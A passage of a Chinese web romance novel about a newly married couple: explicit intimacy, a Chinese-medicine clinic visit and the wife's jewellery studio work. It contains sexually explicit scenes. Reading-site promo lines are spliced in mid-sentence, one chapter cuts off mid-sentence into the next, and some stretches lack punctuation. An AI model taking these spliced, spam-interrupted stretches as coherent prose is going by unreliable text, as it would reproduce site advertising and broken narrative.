终于明白了那天他说的那句话的意思了。
原来是在这个场合QAQ……
话音一出,她自己都被这声音媚到骨头发酥,傅蔺征快要疯了,按住她那仿佛被风吹过柳叶的纤腰,嗓音喑哑:“现在就开始dou了,嗯?就这样还敢让我演示?
她眼尾滑下一滴泪,她例假虽然来了,傅蔺征没打算这么放过她,扯过枕头垫在月要下,将她困在怀中。
咚咚咚咚咚。
榻处渐晃,呼呼都跑去了套房隔壁的客厅,一叶轻舟卷浪四摇,一墙之隔外,朋友们说话的声音突然传来。
他们也回来了别墅。
这床质量不太好,容微月耳膜被敲,哭哭:“小声点,要被听到了……
他额间出汗,气音沉沉:“小声不了。
她掐他,傅蔺征坏得无比:“听到了又怎样,我们在做什么他们不是都能猜到?
若是有人能看到,就会见到昏暗的房间里,睡裙掉落在地毯上,白若凝脂的女人被身型壮阔挺拔的男人压着吻着,黑发扑散在身后,腰如猫伸懒腰反弓,男女之音相伴落起。
空气馥郁升温。
甜暖的气息在光线里慢慢漾开。
不知过了多久,一场太阳雨落下。
又被热云托住,吹散,化成雾。
容微月像是被抽走了最后一根弦,埋在他颈窝
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的喉间破碎出哭腔。人和窗外被风吹的树叶一样。
房间静下来,她好半天都找不到思绪,傅蔺征抱着她,指腹抹掉她眼泪,勾唇在她耳边问:“怎么这么敏gan啊宝宝,例假来了还能到?”
容微月自己也没想到会这样,阔别了六年,她本来以为会很陌生,然而他们还是那么熟悉彼此。
很久没有体会过这种近乎本能的快乐了。
好在有片挡的倒是没漫出来,容微月羞意上头,不敢看他,“你不许说了……”
傅蔺征语调浑坏:“不说也是事实,你刚刚再叫大声点,他们都听到了。”
她不想理他,咬住他喉结,跟小猫挠人一般,傅蔺征口干舌燥,俯脸还是一啄一啄吻她,带着难以解缓的燥隐。
容微月视线落过去,灰黑色工装裤牢笼几乎要困不住,渗染了深色。
不是她的,是他刚刚自己溢了点的。
容微月脸红如滴血,问他怎么办,在他耳边呢喃,“我帮你?”
傅蔺征额角青脉隐现,却仍压着声,气息沉沉:“不用,你还不怕累?”
“我不累……”
傅蔺征喉结滚动,懒声道:“不用,我要先存着。”
“?”这人……
他忍下去,抱着她温存了会儿,傅蔺征给她套上睡裙,“抱你去个洗漱,会不会难受?”
“还好……”
他肌肉硬朗的臂膀单手托起她,走去浴室,她怕他继续胡来,还是把人赶走,锁上了门。
镜子中,她身前都是印记,尤其是那儿,她嘴唇嫣红,脸颊也和初熟的番茄一样。
饶是一看就知道发生了什么。
之前刚搬进傅蔺征的家时,她何曾想到他们有一天会如此亲昵。
她发现自己和高中毕业那时候一样,只要和他待在一起,就忍不住想要和他贴近。
这就是生理性喜欢吗……
缓着脸上的热意,洗完澡走出浴室,傅蔺征正好处理完公事。
她钻进被子里,傅蔺征也去洗澡,过了会儿他洗完出来,她故意装冷淡埋头看手机不理人,几秒后他高挺拓落的身影在她眼前落下道阴翳:
“不累?还不早点休息?”
“噢……”
她把手机放在床头,躺下去转过身。
眼前灯光暗下,她感觉到身后的被子被掀开,果不其然腰间横亘来一只手臂,把她拖了回去。
被翻了个面,傅蔺征锁住她,停在她上方的黑眸浓烈:“几个意思,躲着我?吃饱了就不认人了?”
容微月羞赧笑:“没有啊。”
“再装就再来一次。”
她累得不行,不再调皮,连忙抱住他,而后傅蔺征搂住她,给她左手无名指上重
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新套上个东西。
容微月低头一看,是婚戒。
也不知道这人什么时候从她包里拿出来的。
他低声威胁:“好好戴着,再乱丢看我怎么收拾你。”
容微月软软应了声,靠在他颈间,他脖子上的古巴项链蹭过她头顶,她视线寻索过去,在黑暗中看不分明:“傅蔺征,你脖子上的吊坠是什么,能给我看看吗?”
傅蔺征视线顿了顿,按住她脑袋,“不给。”
这人怎么这么神秘……
他懒声道:“等以后就知道了。”
“以后是什么时候?”
他直勾勾看她:“等你,扒光我衣服的时候。”
“……”
要不是她例假来了,今天就扒了。
两人并头夜话,她想到刚刚在别墅后院的事,抬眼看他,心河如小船荡漾:“傅蔺征,其实今晚我挺意外的。”
“嗯?”
“今晚你和彭清时列举的,我的爱好习惯那些,我自己有时候都没留意,你竟然都知道。”
傅蔺征挠了下她下巴:“好歹我们高中谈过恋爱,现在我还是你丈夫,对你了解不是应该的?”
“可是……我好像都没有像你了解我一样,那么了解你。”
容微月望向他,声音轻柔:“傅蔺征,结婚到现在我还没问过你,你对傅太太有什么要求吗?”
她软声道:“一直以来都是你对我付出更多,可要想把婚姻生活好好经营下去,双方一定要平等付出,你今晚说会对我好一辈子,那我也想为你做点什么,好不好?”
傅蔺征闻言,心口软得发热,他摸摸她脸颊,唇角慵懒,“我让你做什么都可以?”
“嗯……”她认真道。
傅蔺征想了想,拽懒言:“行,那就最基础的,一周抱我十次,亲我二十次,主动叫老公三十次,上床……”
“?”
她立刻打断他,羞得不行,“你能不能说点正经的。”
傅蔺征眼尾挑起弧度,痞里痞气:“这怎么就不正经了?这些不是夫妻间最正常的事?还说为我做点什么呢,没两句就反悔,光长了张嘴了。”
“……”
这人太坏了,容微月翻了个身:“我困了,先去睡觉……”
傅蔺征喉间滚出声轻笑。
比小兔子还怂。
他从背后搂住她,低沉嗓音响起,轻落在她耳畔:
“当傅太太什么都不需要做。”
“只要你往后每天都无忧无虑,平安健康,更多依赖我……别再从我身边跑掉就好。”
再也不要,松开他的手。
-
一夜过去。
清晨整座山庄灰蒙蒙的,窗外的枝叶挂着露珠,空气中泛开淡淡的冷杉清
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香,远处鸟鸣稀微,慢慢的天色慢慢亮起,冲淡了朦胧的雾色。
第二天容微月醒来时,感觉肚子一阵阵抽痛,腰也酸得厉害,每个月必经的痛苦照例席卷而来。
傅蔺征刚锻炼完,进来看到她皱巴着脸躺着,可怜巴巴的模样,“怎么了?不舒服?
“嗯,有点痛经。
傅蔺征蹙起眉峰,给她倒了杯热水喝,把她抱在怀中:“是不是很疼?给你揉一揉?
容微月想到昨天,脸红,“不要。
“怎么了?
她咕哝:“等会儿你又想来……撞我。
傅蔺征闻言,不禁笑了,咬她耳朵:“怎么撞啊?老子说的是正儿八经的揉,我有那么流氓?
……他难道没有吗?
而后傅蔺征还是帮她揉了揉,闷痛的感觉消失了点,他抱着她去浴室,给她洗漱。
小姑娘难得如此骄纵,他好喜欢,恨不得多黏着他点。
“饿不饿?去餐厅吃还是我叫餐?
“出去吧,说不定他们也醒了。
她感觉身子软绵绵的,傅蔺征抱起她,“那直接挂我身上。
“唔……
傅蔺征抱着她走出房间,几个朋友们也醒来了,看到坏笑:“哎呦受不了,一大早的要不要这么如胶似漆。
“一大早就喂狗粮,太过分了,我感觉傅蔺征现在不能叫傅蔺征了,应该要叫傅领证,他脑袋上恨不得刻着已领证三个字。
“月月,你没看到傅蔺征嘚瑟那个表情,现在娶到老婆尾巴都翘到天上去了,你能不能对他太好,要让他吃点苦头!
容微月脸红弯眉,傅蔺征唇角挑起:“我老婆就是想黏着我不行?不用太羡慕,这就是婚后正常夫妻互动,你们这群未婚的懂什么。
夏斯礼无语:“我突然昨天后悔帮他撮合了,我现在真想打他!!
“哈哈哈……
大家说笑着,走去餐厅吃饭,容微月没看到彭清时,去问殷绿,才知道昨晚彭清时打完桌球就先离开了。
她点开手机,看到彭清时昨晚给她的几条留言:
【微月,晚上我喝了点酒,情绪有些失控,说话太冲了,我后来也和夏先生聊了许久,才知道对傅蔺征有许多误解,他真的对你用情至深。】
【不管怎么样,只要你觉得开心就够了,希望你和傅蔺征婚后越来越幸福,还有就像你昨天说的,我们还能当一辈子的朋友吗?】
容微月把手机拿给傅蔺征看,傅蔺征挑眉,“行吧,也希望他越来越好。
她浅浅扬起唇畔,回复彭清时:【当然可以,我们是一辈子的朋友,也希望你早日找到自己的幸福。】
几个到达
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自助餐厅,容微月坐在位子上等着,傅蔺征去拿早餐,夏斯礼看向傅蔺征,挑眉:
“眼下乌青,看来昨晚没睡好啊,阿征,我知道新婚夫妻感情好,你是不是还是要顾及一下微月的身体?我看她黑眼圈也很重。
傅蔺征脸黑:“你胡扯八道什么,她例假来了,肚子疼睡得不好,我照顾她。
夏斯礼憋笑:“好家伙,你昨晚当忍者神龟了啊?
“……
傅蔺征睨过去,夏斯礼笑着拍拍他肩膀,“爱老婆的好男人,给你点赞。
吃完早餐,容微月因为例假来了实在不舒服,傅蔺征便和朋友们说带她先离开。
大家都让容微月好好休息,付则承调侃:“阿征,你照顾好老婆啊。
傅蔺征:“还需要你们提醒?
“这人,现在太嘚瑟了啊哈哈哈……
和朋友们道别,上了车,容微月抱着呼呼,傅蔺征启动车子,转眼看她:“先不回家,带你去趟中医馆做个艾灸。
“艾灸?
“不是痛经很严重?我查过艾灸可以缓解,刚好带你去看个中医,看看感冒为什么还没好。
“又看病……
她瘪嘴委屈抱着呼呼,傅蔺征揉揉她的头揶揄:“至于怕成这样?谁让你身体不好。
“可我真的很害怕喝中药qwq……
她抬着水润润的眸看他,可怜又可爱,傅蔺征吻了下她脸颊,含笑哄:“好,我让医生尽量别开那么苦的药,嗯?
容微月轻点点头,“中国人不骗中国人哦。
傅蔺征笑,启动车子,两人前往中医馆。
之前容微月腱鞘炎发作傅蔺征就是带他来这里,明恒在这里有股份,老中医和傅蔺征很熟。
诊室里,老中医给容微月诊脉后,道:“气血两虚,体质偏寒,寒气入络,才会导致月事不畅、感冒反复。
傅蔺征听着蹙眉:“严重吗?
“不是什么大毛病,但一定要细心调理,先喝半个月的中药看看。
半个月?!!!
傅蔺征看了眼仿佛被雷劈了呆住的容微月,唇角扬起几分笑意:
“章叔,您尽量开点儿好入口的药,我家小朋友最怕苦了,回家要和我闹脾气的。
什么叫他家小朋友……
容微月脸颊浮起细软的绯色,偷偷扯傅蔺征的袖子让他别胡说,老中医看着傅蔺征长大,还是第一次看到这个臭小子对一个女孩蔓延掩盖不住的宠溺缱绻,打趣:“怎么,心疼了啊?
傅蔺征揉了揉容微月的脑袋,慵懒笑:“心疼是其次,主要哄她喝药我要哄半天。
老中医笑笑,敲着键盘:“不单单是喝药,
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平时你就要好好照顾好人家
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,女孩子要捧在手心里。”
容微月脸红,身旁的男人看她勾唇应了声。
看完病,容微月去了趟洗手间,傅蔺征拿完药回来,老中医和他讲了服用方法,又额外叮嘱了一句:
“她这体质太虚弱了,不是一日养坏的,也不是吃两服药就能立刻好的,平时还要细养,还有……最近这段时间还是要忌房事,她气血亏得厉害,身体再折腾一下,体内寒气更难清。”
老中医幽幽看他一眼:“忍一忍,等调理过来自然就不碍事了。”
傅蔺征愣了愣,低声道:“好。”
走出诊室,容微月走过来:“医生和你说什么啦?”
他搂住她,“没什么,带你去艾灸。”
艾灸室里,空气中弥漫着艾草和药香,容微月换上衣服躺在艾灸床上,护士点上艾条,温热的烟雾缓缓渗进她皮肤,到达脏腑,一点点舒缓她的神经。
傅蔺征帮她拉了拉毯子,盖住她脚踝,“会不会冷?”
“不会,挺暖和的。”
“休息会儿,有不舒服就叫我。”
容微月阖上眼眸,傅蔺征就安静陪在一旁,门口几个护士探头张望看进来,小声耳语:
“我这是第一次看到傅总带着女孩子来呢,他眼睛就没从那女孩子身上移开过,你们刚刚没听到傅总和她讲话的语气太温柔了。”
“我好久之前就见过,那个女孩子手腱鞘炎,我给她热敷的,又漂亮说话又温柔,笑起来特别甜,别说傅总,我一个女的都心动了。”
“你们说她是傅总女朋友吗?”
“肯定啊,我刚刚都看到他们牵手了,不对,你看傅总和她左手上都戴了戒指!!”
“啊啊啊他们结婚了吗……”
几人忍不住想偷偷拍一张俊男美女的合照,护士长叫住他们:“规矩忘了?不许拍不许传播,行了别八卦了,赶紧干活。”
被迫中断磕糖,几人难过离开,过了许久,容微月睡醒后看到傅蔺征还陪在旁边。
“醒了?”他关掉比赛的视频。
没想到自己竟然睡着了,“……我睡了多久?”
傅蔺征指尖轻挠她掌心,“快两个小时,现在身上什么感觉,肚子还疼不疼?”
“好多了。”
容微月心头一暖,没想到他一直陪着她,当初在一起后他经常要去训练比赛,都是失联状态,有的时候她都不敢打扰他。
傅蔺征喂她喝了点水,容微月问:“你今天不需要去训练吗?我一个人其实可以的。”
“大周末还非要赶我去训练?容微月你不想我陪你就直说。”
“我没有……”
“哦,那就是希望了?”
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她面颊微红,直直看他:“嗯,希望。”
傅蔺征懒洋洋靠着座位,嚼着青橘糖,压平唇角弧度:“行吧,既然你希望,我肯定是要履行一下作丈夫的职责,没事,不用太感动,回去多亲我两口就成。”
容微月笑,才不要管他。
中午艾灸完,中药也熬好分了袋,容微月本来还想着感冒药终于吃完了,没想到还得再喝半个月的中药,简直太折磨了。
上楼回到家,容微月看到家门口有个大盒子,她疑惑:“是我的快递?”
他看了眼,语气顿了顿拿了起来:“我的。”
“噢……”
走进家里,傅蔺征给呼呼擦了擦脚,容微月看着那盒子:“我帮你拆开?”
“不用。”
他立刻接过,捏了下她脸:“你去冰箱把中午想吃的拿出来,等会儿我来煮。”
她应下。
见他去了卧室,容微月走去厨房。
午饭过后,他又端来热好的中药,容微月皱着眉喝下去,然后就在家里窝着。
好在看了中医后,这次痛经的症状缓和许多,周一就可以去工作室了。
如今工作室手上有两个大任务,第一是主要负责赶制《霜雪吟》最后的一部分饰品,第二是收到了俄罗斯漆画厂寄来的第一批漆画饰品胎体,开始镶嵌花丝。
前几天容微月在《霜雪吟》开机仪式上接受采访后,许多网友关注了晴月阁官博和容微月的个人微博,看到了之前她制作花丝的视频。
饰品最后,她一袭天青色旗袍,发间簪着一只花丝缠枝步摇,立于微雨朦胧的古亭中回眸一笑,气质清婉出尘,许多人都成为容微月的颜粉,她的个人微博粉丝一夜之间到了六位数,#花丝镶嵌最美女匠人#很快冲上热搜词条。
这次不知道有没有明恒在后方的推波助澜,晴月阁知名度大大攀升,他们网店的饰品订单大大增多,还有一些品牌也来求合作。
早晨开会时,容微月道出个想法:“现在网络直播很火,我想我们网店也可以开个直播,拍拍平时制作花丝镶嵌的过程,让大家对花丝镶嵌有更多了解,也能提高名气。”
大家听闻都认可:“微月姐,这直播肯定还得你来,你现在就是我们工作室最大的招牌,大家肯定都想看你。”
“对,老板你露脸和大家直播做花丝,那肯定很多人刷火箭哈哈哈……”
容微月无奈一笑,让他们别拿她打趣,最后直播的事交给了负责宣传的员工来详细规划,她也忙着和几家厂家谈合作。
傅蔺征也每天训练,但是结束得比较早,晚上都会来接她回家。
晚上,容微月在家里练完小提琴,去洗澡发
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
现例假走了。
终于走啦终于走啦……
洗完澡她躺上床,带着期待,心猿意马画着设计稿,过了会儿傅蔺征洗完澡上来,把她搂了过来。
画板掉到地毯上,女人柔软的黑茶色卷发铺散在肩后,香肩纤薄,肌肤白得发光,空气中馥郁开清甜的白茶香。
傅蔺征喉结重重一滚,黑眸掀火,吻了下来,容微月缩在他怀中任由他胡来,半晌他停下,低声喘气唤她小名。
容微月心间发颤,看向他,轻声暗示:“傅蔺征,我例假结束了哦。”
话中之意已格外明显。
男人脑中想到什么,沉默几秒,哑声开口:“今天不是说很累了?先睡觉。”
她呆了呆,几秒后耷拉脑袋应了声,“好……”
只好将所有情愫压了下去,容微月强制闭上眼,靠在他怀中,困意渐渐来袭,睡着了。
这一夜,傅蔺征几乎没合眼。
第二天晚上仍旧是如此,男人把她浑身亲了个遍,惹得她烫得跟发烧一样,最后他却刹了车,哑声道:“你该睡觉了。”
不是……
容微月越来越感觉不对劲。
她感冒好得差不多了,例假也结束了,以她对傅蔺征的了解,他根本不可能无动于衷,这人从前向来想做就做,自制力几乎为零。
第二天,容微月和殷绿在打电话,她忍不住问殷绿,殷绿诧异:“所以你的意思是,傅蔺征和你结婚到现在这么久了,竟然还什么都没有发生?!”
“嗯……”
殷绿捂嘴笑,“怎么回事!我还以为你俩早就入洞房了,这还是傅蔺征吗?他这六年是不是去当和尚斩断七情六欲了,也太不行了!”
容微月脸红托腮:“我也不知道他怎么了。”
这对比于曾经的傅蔺征来说,太不寻常了。
但是平时她又不是没有感觉到傅蔺征因她而起的情愫,难道是错觉吗?
殷绿正儿八经琢磨:“那六年前和六年后应该是不一样,俗话说世界上比钻石还硬的就是十八岁男高的……不过傅蔺征那体格,不至于不行吧?会不会是他平时训练太累了?回到家没什么体力啊?”
容微月想了想,小声道:“好像……有可能。”
“对啊你先别瞎想,不然你最近给他补补呗?男人嘛食补很关键啊。”
容微月揶揄:“你还挺了解。”
“我才不了解,我这是小视频看的哈哈……”
于是傍晚容微月在工作室忙完就先下班回家做饭,等傅蔺征回来时,就听到她说可以开饭了。
“不是说我回来做?”他抱住她。
“等你回来还不知道要多久呢,刚好我有空。”
“老子这么
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第 39 章 chapter39这几天傅蔺征对...
第39章第三十九章
【chapter39这几天傅蔺征对她冷淡容微月开……】
chapter39
这几天傅蔺征对她冷淡容微月开始各种猜测特别是今晚看到那个帖子她各种心思乱冒就忍不住问了出来。
……可她没想到原因竟然是她身体不允许。
而不是他不想。
相反……他都想到要**了QAQ.
此刻傅蔺征一句更比一句痞坏的浑话毫不吝啬砸在耳边如火燎过容微月被带着不禁想象起那些被他描绘的画面脸颊就像落满了枫叶。
傅蔺征的气息落下来带着惩罚夺走她的呼吸。
半晌容微月脑中轻飘如云唇瓣嫣红心跳跟踩了加速器一样害羞讨饶:“不敢了……”
被他圈得更紧傅蔺征的浴袍失去防线手臂青紫色筋脉凸峥打开驯shou笼另一边淹没棉裙tiao开柔绸倾身将小姑娘牢牢困在怀中。
容微月想起今晚看过的电影是一个小贝壳在深海中漂浮突然海**山靠近。
炽岩汹涌而来一扑一扑。
“傅蔺征……”
男人箍住乱动的她气息沉沉:“宝宝勾住我的月要。”
她面色红成小番茄乖乖听话傅蔺征格外强势一叶扁舟被海托起如覆盖了层雾。
她如小猫般缩在他臂弯之中喵声被风吹散水眸被曳荡的灯染上涟漪。
前几晚来例假有所拦阻。
而此刻是真实的模拟实验。
时不时过重就陷了一点如一个人没撑伞踏在淅淅沥沥的雨夜中青石板路上泞渍作响她眼尾如落了雨的天青色瓷器。
时隔六年小月亮对他格外热烈欢迎傅蔺征额间沁出细密汗珠眉峰紧蹙
一负一,零负二,零负一……
在越界边缘游走傅蔺征蹙着眉俯身在她耳畔哄她:“宝宝别咬。”
云烟成雨室外月色茫茫远处的霓虹在水汽里模糊成一团光晕屋内却笼着昏暖的灯色。
光影静下容微月靠着他怀中小口呼吸傅蔺征亲吻她头发喑哑喟叹:“宝宝好想**。”
她羞得往他怀中靠得更紧傅蔺征笑:“怎么这么没出息啊?…两下就…了我…都被你……”
容微月半天才找回呼吸害羞说了句话。
傅蔺征闻言眼底更燥捏住她下巴把人亲得七荤八素。
过了会儿从浴室出来傅蔺征换了新的容微月躺在他怀中男人在她耳边仍旧耳鬓厮磨她心咚咚直跳脸红得快如血嗔他:“傅蔺征你
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怎么那么流氓……
他轻笑,“我对我老婆流氓,不是很正常?
容微月想到他刚刚说的,仰眸看她,嗓音细软:“到时候你真的那样,我这断时间的中药不都白喝了吗……
傅蔺征扯唇:“那没办法,你只能趁现在赶紧养着。
他抬起她下巴,按捺欲想的吻落下,一下一下啄着她唇,想到她刚才的话,无奈出声:
“怎么那么笨,这都能联想到我不想和你结婚?你觉得有可能么?
她心头软得发虚:“那还不是你太反常了,晚上都不回房间睡觉……
傅蔺征勾唇,“容微月,我怎么以前不知道你这么黏人啊?
“……我没有。
他揶揄:“装什么,你现在对我生扑硬啃的心思都写在脸上了,不过呢,扑我这个和你名字写在同个结婚证上的人,还算合情合法。
“……她含笑控诉,“明明是你没有和我说清楚,害了我……我这两天搞错了方向。
傅蔺征反应过来什么,冷笑了声:
“所以这几天又是海参枸杞,又是羊肉生蚝,你说清楚,你这是搞错了什么方向?
容微月抿了抿唇,乖乖道:“我一开始以为,是你不行了。
“……
傅蔺征气笑了:“容微月,你就庆幸你今天身体不好,不然你完了。
她脸上的红晕铺到脖子根,他捏她的脸:“你知不知道这两天老子身上有多燥,光给补不给泄,每天锻炼两个小时都不够,晚上还睡不着,你就这么折磨你男人的是吧?
容微月尴尬压平唇角:“我是想为你好来着,以后不煮了。
他笑:“没事,想煮可以煮,反正你养身体,我也养精蓄锐呗,到时候体力全用在你身上。
“……
傅蔺征想了想:“明天吃羊鞭汤如何?
“……吃个头!
她都怕以后走不动路了,羞得从他怀中钻出去,不陪他闹了,“我去喝中药了。
“陪你去。
喝完中药,傅蔺征立刻立刻打横抱起往主卧走,她脑中绷着,指尖攀住他肩膀,“傅蔺征,你要干嘛……
把她扔到床上,他拿起床头的棉袜,笑:“给你穿个袜子,你想什么呢?
“……
那他至于一副火急火燎的样子吗?
穿好,傅蔺征躺上来,容微月小声问:“刚才那样会不会怀宝宝啊?
他笑:“害怕了?刚才不是叫你别咬?
“……
她真的没感觉自己在咬呀……
傅蔺征勾唇摸摸她头,说没事,咬她耳垂,气息薄热:“我都还没,而且才那么浅,要到……才有可能
你的朋友正在书荒,快去帮帮他吧
。”
她被他这话说得脸都红了几度。
要以他……估计没几次就有小宝宝了。
眨眨眼打趣:“某些人今晚不去书房睡觉了?”
“你老实点我需要睡书房?”
“我怎么就不老实了。”
傅蔺征懒声揶揄:“谁晚上睡着了冷得一直往我怀里钻到处握、到处碰练习拉手刹似的我能防得住你?”
容微月:???
她脸色炸红“我才没有呢……”
傅蔺征似笑非笑:“没事反正你随便练我大不了就去趟浴室呗。”
“……”
傅蔺征伸手关了头顶的灯只留下一抹昏黄容微月转头看到抽屉里那堆“作案工具”眼巴巴看着却不能拆袋:“医生说我还需要养多久啊?”
“半个月。”
“那还有好久呀……”
傅蔺征看她白皙温软的面容划过失落气音喑哑:“怎么好想了?”
从前傅蔺征格外疯她也不带怕似的缠着他两人在各方面都很匹配都是格外的愉悦。
她不说话傅蔺征勾唇道:“宝宝你知道么你特别像一个甜品。”
容微月呆呆的“什么?”
“芒果糯米皮外表是白白软软的糯米皮切开里面是芒果果肉金黄金黄的。”
“……”
他还是芒果皮包芒果肉芒果心呢!
糯米糍翻了个身脸颊藏匿在绯红中:“不理你了一个晚上都不要和我说话。”
傅蔺征笑。
-
晚上容微月不搭理他本来一个人老老实实缩在角落都快要睡着了谁知道还是被傅蔺征抱了回去缠着亲了好一会儿。
她看傅蔺征那跟饿狼似的样子真怕他要炸了。
可后来他停下又搂着她睡觉其自制力再度刷新她对他的认知。
傅蔺征向来xue气方刚又是面对深爱的姑娘yu望怎可能轻如今被迫清心寡欲yu是因为她的身体比这些都重要。
无论如何
一夜无梦第二天容微月醒来发现自己一觉睡到了天亮。
大学时她的睡眠就很差经常失眠或者做噩梦就算睡着了有时候半夜或者清晨醒来就很难再入睡吃药也没用而最近不知道到底是药还是傅蔺征的缘故她睡眠质量都好了许多。
伸了个懒腰小猫咪看向窗外的蓝天松软莞尔。
唯一不舒服的就是身上很疲惫最近在喝中药她也很嗜睡。
过了会儿下床洗漱完她穿上件雾蓝色的高领针织衫下摆压入奶白色半裙里裙摆柔顺垂到膝下外套披上一件温白色羊毛大衣干净而温柔。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
简单化了个妆她站在镜子前正戴着山茶花耳钉傅蔺征走了进来视线落向她眉梢挑起:“穿成这样今天有活动?”
“啊?没有……”
就是日常通勤呀。
容微月走过去弯眸看他:“傅蔺征你要想夸我漂亮呢就直说不用这么拐弯抹角的你的心思都昭然若揭了。”
“……”
行还会学他说话了。
傅蔺征笑了俯身看她:“嗯我家公主当然漂亮。”
容微月脸颊泛红傅蔺征戴上腕表悠然感慨:“不愧是夫妻烦恼都一样像我们这种颜值太高的随便一穿别人都以为要出席什么重要场合呢。”
她压下红唇“嗯太烦恼了。”
傅蔺征走去衣架“但光漂亮没用过来再加点衣服穿那么少不许出门。”
他拿了条雾蓝色的羊绒围巾给她围上又给她拿了手套让她换了厚点的袜子。
都弄好要往外走傅蔺征顿了下“等等。”
他走去把自己身上的黑色大衣换下慢条斯理换了件深雾蓝的大衣容微月眨眼:“傅蔺征……你是故意想和我穿情侣色吗?你好有心机哦。”
“……”
他理了理领口轻咳:“我就是觉得这件更保暖我一男的会注意这种儿女家家的事情?”
容微月压下唇角“那我去换件衣服好了。”
傅蔺征脸黑拉她到怀中“不许换。”
她眼睛弯成小月亮他捏她脸“看老子今晚回来怎么收拾你。”
“反正只能擦.枪。”
傅蔺征气笑眼底暗下没想到她这么调皮想抓过来她就逃出房间。
外头呼呼听到声音跑过来它今天的ootd是一件她前段时间给买的墨绿色小西装打着棕红色小领带墨镜发夹戴上头顶又酷又可爱她心都萌化了笑着把它抱起来“宝贝好可爱呀你是全天下最帅的狗狗
在一旁的傅蔺征脸黑:呵呵。
谁全天下最帅?
他轻嗤“这老子花十分钟给它打扮的没我它就是个裸奔的小土狗。”
容微月笑:“哪里小土狗它最可爱了。”
呼呼奶凶地看他一眼然后软乎乎的靠在妈妈怀中。
傅蔺征无语他这么刚正不阿的人怎么养了这么个绿茶?
喝完水傅蔺征正儿八经叫她:“等会儿吃早饭先称个体重。”
“啊?称体重?”
“都说了接下来要严格管好你的一日三餐。”
“不用了吧……”
“什么不用过来我要做个记录。”
傅蔺征格外认真的样子容微月心里打鼓
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,只好走过去站在体重秤上,傅蔺征看过去气笑了:“容微月,你能别抱着你儿子称吗?
“……她心虚,“呼呼又不重。
傅蔺征毫不留情把呼呼接过来,容微月重新站上去,男人看到数字后,笑了:“行,穿得这么厚才85斤,还不到90斤,你刚搬进来多重?
她摸摸头,“好像……87斤吧……
???
傅蔺征脸黑:“敢情我天天给你煮那么多营养又美味的意大利面,搞半天还给你喂瘦了??
容微月羞窘:“和你没关系,可能是最近生病就瘦了,但是我现在比大学时候重多了……
傅蔺征让她坐到餐桌前,倚着桌给她舀粥,问:“大学时候多重?
“大概78斤吧。
78?!
傅蔺征眉峰蹙起,很沉:“高中毕业我好不容易给你养到95斤,你怎么吃成这样的?
“就……那时候勤工俭学,我吃得就比较少。
高中那时候傅蔺征经常带她出去加餐,体重是最健康的时候,大学勤工俭学半年,加上一些原因,她很快把高中时他给她养的肉肉全掉没了,大学四年她活得压抑,没什么食欲,身体就越来越差了,回到北京工作后才开始注意调理,是因为工作后发现她这身体根本扛不住。
傅蔺征心如刀扎,不知道这几年她到底经历了什么,而自己都没办法陪在她身边,容微月看到他眼底的心疼,酒窝点起:
“没事,现在不是有你管我了吗?
她再也不会回到大学那时候了。
傅蔺征摸摸她白软的脸颊,哑声道:“是,来日方长,高中又不是没养过,总能喂胖的。
带她去吃早餐,他哄她想方设法多吃一点。
饭后他收拾餐桌,容微月去客厅给呼呼装水,傅蔺征忙完,叫她抱着呼呼过来。
“怎么了?
他坐到地毯上,吊儿郎当道:“光线好,随便拍个照。
容微月:???
她抱着呼呼,就见男人从口袋里翻出红本本,整个人傻了,羞涩忍不住道:“你结婚证一定要这样随身携带吗……
“没听过重要证件要贴身保管?
“放在抽屉里可以更好保存。
他淡然道:“没空间,抽屉里要放套。
“……
她疑惑着被他拉到怀中,怀中抱着呼呼,傅蔺征懒洋洋靠着沙发:“算了,先低调点吧。
他找个角度拍了一张。
她一头雾水,直至早晨到工作室后,才看到傅蔺征竟然换了个微信头像——
头像里没有露脸,戴着雾蓝色围巾的容微月靠在穿着同色系大衣的傅蔺征怀中,呼呼
你的朋友正在书荒,快去帮帮他吧
趴在她身上白绒绒的像团雪球而画面的角落露出红红的一角。
一般人根本看不出来什么。
但知道的人一眼就能看出这是结婚证。
曾经傅蔺征的头像是呼呼趴在穿着赛车服的他身上而现在加了她。
是真正的一家三口。
那一头傅蔺征到车队办公室一大早车队成员看到他六年不换的头像竟然变了顿时炸了锅:“这是什么头像啊看不懂。”
“你们自己瞅瞅那个抱着呼呼的手像不像女孩子的手?征爷难道是和微月姐拍的?!”
“我们真要有嫂子了?!”
大家怎么猜也猜不透但是微信的兄弟群里三人可一眼看出来了夏斯礼:【傅蔺征你这头像里是你和微月吧?!太嘚瑟了。】
湖安:【角落还晒了结婚证太骚包了。】
付则承:【就没见过这么骚包的。】
傅蔺征唇角一挑:【哦怎么你们不拍是因为没老婆吗?】
三人:“……”
已婚男人了不起啊?
另外一头容微月看着傅蔺征的头像心旌摇曳找他要了原图。
早晨画完稿子她去车间和匠人们一起做着和漆画厂的联名饰品。
如今大家飞速赶工前两天她又招了三个匠人进来车间里机器声轰隆隆十来个匠人有条不紊工作着。
中午她没什么胃口嘴巴很寡淡傅蔺征得知就安排人送来她喜欢的湘味小炒总算是让她多吃了几口。
下午简单眯了会儿她喝了中药在舒槿的陪同下容微月要去往《霜雪吟》剧组片场。
前段时间电视剧正式开机昨天容微月受到B组导演邀请需要到现场看看演员戴上饰品的具体效果方便及时调整佩戴方式等大家熟悉了她就不需要来帮忙了。
下了车往里走容微月裹紧外套被风吹得忍不住咳嗽舒槿担忧问:“姐你这身体没事吧?感觉你体质也太差了傅总很着急吧?”
“他天天监督我喝药已经在养着啦
到了片场和导演打过招呼两人进入化妆间灯光明亮妆发师和助理围着自己的演员忙前忙后空气中弥漫着脂粉香气。
这部剧的女一号是个实力派小花几个化妆师帮她戴着花丝镶嵌发饰动作有些生涩容微月见此走上前温声道:“这个位置不对要固定在这里。”
她动作温柔又专业周围人一愣女一号抬头看到容微月认了出来:“你就是花丝镶嵌制作工作室的老板吗?”
容微月颔首自我介绍了下“您对我有印象?”
女一号弯起红唇:“嗯围读剧本那天
听说看这本书的人都是很幸运的,分享后你的运气会更棒
见过。”
女一号说她制作的这些饰品非常漂亮,她
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刚刚看着都爱不释手,“等杀青了我能再去你那边订做几套私人首饰吗?”
“当然欢迎。”容微月莞尔应下。
走远了些,舒槿小声感叹:“我本来以为明星都会耍大牌呢,没想到人家这么温柔。”
容微月笑:“明星也有性格很好的。”
就像傅蔺征的妹妹霓音,当红流量,但特别温柔可爱。
这时一道尖锐的女声打断她思绪:
“慢点,弄疼我了都!”
